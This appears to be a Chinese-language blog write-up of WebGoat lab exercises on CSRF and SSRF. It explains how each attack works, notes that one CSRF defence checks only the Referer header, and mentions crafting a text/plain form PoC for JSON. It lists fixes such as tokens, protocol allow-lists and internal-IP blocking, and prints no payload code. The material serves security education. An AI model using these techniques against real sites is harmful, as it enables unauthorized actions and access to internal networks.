網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登入,那以後只要是訪問這個網站,都會預設你已經登入的狀態。而在這個期間,攻擊者傳送了構造好的csrf指令碼或包含csrf指令碼的連結,可能會執行一些使用者不想做的功能

部分程式碼及修復建議
  1. csrf-->ForgedReviews.createNewReview()

    只判斷了refer值

    測試截圖:

    bp一鍵生成

    修復建議:

    1. 在伺服器端生成隨機token,瀏覽器在發起針對資料的修改請求將token提交,由伺服器端驗證通過夠進行操作邏輯,token需要至多一次有效,並具有有限的生命週期

    2. 通過檢查refer值,判斷請求是否合法(下面的程式碼就是典型的反例)

    3. 針對需要使用者授權的請求,提示使用者輸入身份認證後再繼續操作

    4. 針對頻繁操作提示輸入驗證碼後再繼續進行操作

  2. csrf-->CSRFFeedback(7)

    新增判斷了contentType。

    攔截請求包生成的poc中,enctype="text/plain",我們要傳送的json格式的資料都被隱藏在input的name中,其餘同上

    測試截圖:

SSRF

漏洞描述

服務端請求偽造攻擊(SSRF)也成為跨站點埠攻擊,是由於一些應用在9向第三方主機請求資源時提供了URL並通過傳遞的URL來獲取資源引起的,當這種功能沒有對協議、網路可信便捷做好限制時,攻擊者可利用這種缺陷來獲取內網敏感資料、DOS內網伺服器、讀檔案甚至於可獲取內網伺服器控制許可權等。

漏洞成因

服務端提供了從其他伺服器應用獲取資料的功能,且沒有對目標地址做過濾或者限制,比如說從指定url地址獲取網頁文字內容,載入指定地址的圖片,文件等等.

程式碼片段以及修復建議

兩個任務都是根據使用者輸入的引數,進行判斷輸入,並沒有任何過濾

測試截圖:


修復建議:

  1. 禁用不需要的協議.僅僅允許http和https請求.可以防止file://,gopher://,ftp://等引起的問題

  2. 統一錯誤資訊,防止利用錯誤資訊來判斷遠端伺服器的埠狀態.

  3. 禁止302跳轉,或每跳轉一次檢查新的host是否為內網ip,後禁止

  4. 設定url名單或者限制內網ip.

相關文章